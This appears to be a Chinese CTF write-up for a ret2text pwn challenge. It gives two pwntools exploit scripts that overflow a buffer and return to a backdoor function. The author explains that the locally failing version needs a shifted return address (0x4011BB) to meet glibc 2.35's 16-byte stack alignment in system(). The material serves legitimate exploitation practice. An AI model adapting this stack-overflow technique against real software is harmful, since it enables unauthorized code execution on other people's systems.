今天看一个ret2text的题目的时候,遇到了exp本地不通,远程通的奇怪问题,题目是这样的
有个backdoor函数是这样的
exp是这样的
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| from pwn import *
elf = context.binary = ELF('./Intruduce') p = process() context.log_level='debug' payload=b'a'* (32 + 8) backd00r=0x4011B6 payload+=p64(backd00r) s=p.recvline() ; print(s) print(s) char=p.recv(1) print(char) p.sendline(payload) p.interactive()
|
gdb调试了一下发现在call system的时候卡在了这个xmm寄存器里
搜索了一下,在这里找到了解决方法 https://blog.csdn.net/fjh1997/article/details/107695261
发现是glibc >= 2.27的时候 system函数里面会调用xmm寄存器,xmm寄存器要求16字节对齐,远程的环境应该是<2.27的所以可以直接打通,然后我本地的glibc版本是2.35的,所以会因为xmm寄存器内存对齐的原因导致exp打不通,只需要少push一个地址,内存就对齐了
一开始我是用4011B6这个地址,后面换成了4011BB就对齐了,然后本地就通了
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| from pwn import *
elf = context.binary = ELF('./Intruduce') p = process() context.log_level='debug' payload=b'a'* (32 + 8) backd00r=0x4011BB payload+=p64(backd00r) s=p.recvline() ; print(s) print(s) char=p.recv(1) print(char) p.sendline(payload) p.interactive()
|